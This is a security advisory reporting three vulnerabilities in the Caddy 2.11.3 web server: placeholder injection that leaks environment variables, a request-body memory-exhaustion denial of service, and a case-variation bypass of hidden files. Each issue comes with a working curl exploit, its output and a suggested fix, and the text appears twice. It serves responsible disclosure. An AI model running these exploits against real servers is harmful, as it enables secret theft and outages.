Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer
Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime)
Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits
This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.
Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure
File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327
Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp)
Severity: Low (requires operator config with trailing ? in rewrite URI)
Root cause
When the operator's rewrite URI template:
- Contains a placeholder that resolves to request data (e.g.
{http.request.header.X-Foo}), AND
- Ends with a literal
? (with empty query side)
…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.
// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" { // trailing-? branch
query = injectedQuery // attacker bytes flow into 'query'
}
}
if query != "" {
newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input
}
This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
rewrite * /serve/{http.request.header.X-Fwd}?
respond "PATH={path} QUERY={query}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
environment:
DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit:
$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak
URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.
Available read primitives
The same gadget exposes any placeholder the attacker can name in their injected substring:
{env.X} — any env var on the Caddy process
{file./path} — any file readable by the Caddy process (if file provider is registered)
{vars.X} — Caddy-internal request variables
Suggested fix (mirrors the CVE-2026-30852 patch)
After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" {
injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
query = injectedQuery
}
}
Also recommend adding equivalent regression tests in rewrite_test.go to the three "is not re-expanded" tests in vars_test.go.
Issue 2: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS
File: modules/caddyhttp/replacer.go:217-245 (placeholder resolution for http.request.body)
Class: CWE-770 (Allocation of Resources Without Limits)
Severity: Moderate (any operator using the documented log_append body {http.request.body} pattern is vulnerable)
Root cause
When any handler references the {http.request.body} placeholder, the replacer code path reads the entire request body into a byte slice via io.Copy(buf, req.Body) with no LimitReader wrapping. The needsEarly flag bypasses the request_body middleware's size limit, because the placeholder is resolved before that middleware sees the request.
This means an attacker can send a request body of any size (up to whatever Content-Length they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.
Reproduction (real Caddy 2.11.3, 512 MB container cap)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
log_append body {http.request.body}
respond "OK, length received: {http.request.header.Content-Length}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
mem_limit: 512m
memswap_limit: 512m
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit (Windows PowerShell):
PS> fsutil file createnew big.bin 1073741824
File C:\caddy-verify\test3-body-dos\big.bin is created
PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received
Container state immediately after:
PS> docker ps -a --filter name=caddy-verify-3
CONTAINER ID IMAGE STATUS NAMES
7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3
PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
ExitCode=137 OOMKilled=true
OOMKilled=true is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after "serving initial configuration" with no error message, which is the signature of a process killed mid-allocation by SIGKILL.
A small body works fine:
$ curl -X POST -d "hello world" http://localhost:8080/
OK, length received: 11
Real-world exploitability
The log_append body {http.request.body} pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like expression {http.request.body}.contains('admin'), custom header forwarding with header_up X-Original-Body {http.request.body}, and any third-party module that resolves the placeholder.
Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.
Suggested fix
Wrap the body read with a LimitReader keyed off either:
- The operator's configured
request_body.max_size (if set), or
- A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.
If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.
Issue 3: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation
File: modules/caddyhttp/fileserver/staticfiles.go:669-718 (the fileHidden function and filepath.Match call)
Class: CWE-178 (Improper Handling of Case Sensitivity)
Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)
Root cause
fileHidden() uses filepath.Match, which is case-sensitive. However:
- macOS APFS is case-insensitive by default
- Windows NTFS is case-insensitive by default
- Linux ext4 can be configured with the
casefold flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side
On a case-insensitive filesystem, the OS resolves /.git and /.GIT to the same directory, but Caddy's hide check only fires on the exact-case literal .git. Result: the file is served via the uppercase URL.
On a case-sensitive filesystem where both .git and .GIT exist as separate directories, Caddy hides only .git and exposes .GIT.
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
root * /srv
file_server {
hide .git .env secrets
}
}
Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):
/srv/.git/HEAD "ref: refs/heads/main"
/srv/.GIT/HEAD "ref: refs/heads/main (UPPERCASE BYPASS)"
/srv/.env "DATABASE_URL=postgres://user:pass@host"
/srv/.ENV "DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)"
/srv/secrets/api.txt "supersecret_api_key=sk_live_real"
/srv/SECRETS/api.txt "supersecret_api_key=sk_live_real (UPPERCASE BYPASS)"
Test transcript (all three hide rules — .git, .env, secrets — bypassed via uppercase):
PS> curl.exe -i http://localhost:8080/.git/HEAD
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.GIT/HEAD
HTTP/1.1 200 OK
Content-Length: 40
ref: refs/heads/main (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/.env
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.ENV
HTTP/1.1 200 OK
Content-Length: 58
DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/secrets/api.txt
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/SECRETS/api.txt
HTTP/1.1 200 OK
Content-Length: 52
Content-Type: text/plain; charset=utf-8
supersecret_api_key=sk_live_real (UPPERCASE BYPASS)
Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.
Why this matters in practice
.git, .env, and secrets/ are three of the most common entries in production Caddy hide configurations because they correspond to high-value attacker targets:
.git/HEAD + .git/config + .git/objects/ → source code disclosure
.env → credentials, API keys, database connection strings
secrets/ → operator-named bucket of anything sensitive
The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the hide directive provides no protection at all for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.
Suggested fix
In fileHidden(), on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on GOOS=darwin and GOOS=windows, and to document for Linux operators that they should not rely on hide if their filesystem has casefold enabled or if they manage their files with case-folding tools.
Alternative: enforce that paths matched by hide are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.
Reproduction kit
A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official caddy:2.11.3 Docker image.
Reporter
Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.
Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer
Tested against:
caddy:2.11.3(official Docker image, SHA verified at runtime)Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits
This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified
caddy:2.11.3image with the minimal Caddyfile that the documentation suggests for the affected feature.Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure
File:
modules/caddyhttp/rewrite/rewrite.go:215-249andbuildQueryStringat327Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (
vars_regexp)Severity: Low (requires operator config with trailing
?in rewrite URI)Root cause
When the operator's
rewriteURI template:{http.request.header.X-Foo}), AND?(with empty query side)…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through
buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.This is the same gadget that was patched in
vars_regexp(CVE-2026-30852). The fix did not extend torewrite, and there is no equivalent regression test for it inrewrite_test.go(comparevars_test.go:63,69,75).Reproduction (real Caddy 2.11.3)
Caddyfile:docker-compose.yml:Exploit:
URL-decoded query:
postgres://leaked:supersecret@dbserver/production=leak. TheDATABASE_URLenv var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams viareverse_proxy, and be readable via{http.request.uri.query}in any downstream handler.Available read primitives
The same gadget exposes any placeholder the attacker can name in their injected substring:
{env.X}— any env var on the Caddy process{file./path}— any file readable by the Caddy process (iffileprovider is registered){vars.X}— Caddy-internal request variablesSuggested fix (mirrors the CVE-2026-30852 patch)
After splitting at
?, sanitize placeholder syntax in the injected query before passing it tobuildQueryString:Also recommend adding equivalent regression tests in
rewrite_test.goto the three "is not re-expanded" tests invars_test.go.Issue 2: Unbounded body buffer via
{http.request.body}placeholder — memory exhaustion DoSFile:
modules/caddyhttp/replacer.go:217-245(placeholder resolution forhttp.request.body)Class: CWE-770 (Allocation of Resources Without Limits)
Severity: Moderate (any operator using the documented
log_append body {http.request.body}pattern is vulnerable)Root cause
When any handler references the
{http.request.body}placeholder, the replacer code path reads the entire request body into a byte slice viaio.Copy(buf, req.Body)with noLimitReaderwrapping. TheneedsEarlyflag bypasses therequest_bodymiddleware's size limit, because the placeholder is resolved before that middleware sees the request.This means an attacker can send a request body of any size (up to whatever
Content-Lengththey declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.Reproduction (real Caddy 2.11.3, 512 MB container cap)
Caddyfile:docker-compose.yml:Exploit (Windows PowerShell):
Container state immediately after:
OOMKilled=trueis dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after"serving initial configuration"with no error message, which is the signature of a process killed mid-allocation by SIGKILL.A small body works fine:
Real-world exploitability
The
log_append body {http.request.body}pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers likeexpression {http.request.body}.contains('admin'), custom header forwarding withheader_up X-Original-Body {http.request.body}, and any third-party module that resolves the placeholder.Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.
Suggested fix
Wrap the body read with a
LimitReaderkeyed off either:request_body.max_size(if set), orIf the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.
Issue 3:
fileHidden()case-sensitive pattern bypass — exposes "hidden" files via case variationFile:
modules/caddyhttp/fileserver/staticfiles.go:669-718(thefileHiddenfunction andfilepath.Matchcall)Class: CWE-178 (Improper Handling of Case Sensitivity)
Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)
Root cause
fileHidden()usesfilepath.Match, which is case-sensitive. However:casefoldflag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by sideOn a case-insensitive filesystem, the OS resolves
/.gitand/.GITto the same directory, but Caddy's hide check only fires on the exact-case literal.git. Result: the file is served via the uppercase URL.On a case-sensitive filesystem where both
.gitand.GITexist as separate directories, Caddy hides only.gitand exposes.GIT.Reproduction (real Caddy 2.11.3)
Caddyfile:Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):
Test transcript (all three hide rules —
.git,.env,secrets— bypassed via uppercase):Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.
Why this matters in practice
.git,.env, andsecrets/are three of the most common entries in production Caddyhideconfigurations because they correspond to high-value attacker targets:.git/HEAD+.git/config+.git/objects/→ source code disclosure.env→ credentials, API keys, database connection stringssecrets/→ operator-named bucket of anything sensitiveThe bug means that on macOS and Windows hosts (and a subset of Linux hosts), the
hidedirective provides no protection at all for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.Suggested fix
In
fileHidden(), on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides onGOOS=darwinandGOOS=windows, and to document for Linux operators that they should not rely onhideif their filesystem hascasefoldenabled or if they manage their files with case-folding tools.Alternative: enforce that paths matched by
hideare also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.Reproduction kit
A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official
caddy:2.11.3Docker image.Reporter
Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.